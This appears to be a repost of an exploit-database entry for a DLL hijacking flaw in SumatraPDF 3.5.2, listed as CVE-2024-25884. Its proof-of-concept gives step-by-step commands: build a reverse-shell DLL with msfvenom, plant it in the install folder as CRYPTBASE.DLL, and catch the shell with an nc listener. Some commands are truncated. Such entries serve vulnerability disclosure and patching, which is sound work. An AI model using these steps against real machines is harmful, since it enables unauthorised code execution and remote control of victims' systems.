Published on March 5th, 2024 📆 | 6591 Views ⚑
0SumatraPDF 3.5.2 DLL Hijacking – Torchsec
# Exploit Title: Sumatra PDF 3.5.2 DLL Hijack
# Date: 03.03.2024
# Exploit Author: Krishna Vamshi Katta Rokkaiah
# Vendor Homepage: https://www.sumatrapdfreader.org/free-pdf-reader
# Software Link: https://www.sumatrapdfreader.org/download-free-pdf-viewer
# Version: 3.5.2
# Tested on: Windows 11
# CVE : CVE-2024-25884
Description:
In Sumatra PDF version 3.5.2, a DLL hijacking vulnerability is possible allowing a local attacker to get a shell and execute code on the host system in context of the currently logged-on user. This is possible by creating / placing a malicious DLL in the installation directory. The affected DLL is CRYPTBASE.DLL.
Proof of Concept:
1. Use MSFVenom to create a malicious DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=
2. Copy this file to the Sumatra PDF installation folder:
C:\Users\
3. Start a listener in attacking system:
nc -nlvp 7777
4. Start the Sumatra PDF application and notice a reverse shell in the attacking system.
Demo:
https://drive.google.com/file/d/1dSJG_JwxPd9ztAzDs6xV4y83-c_83AOx/view
Gloss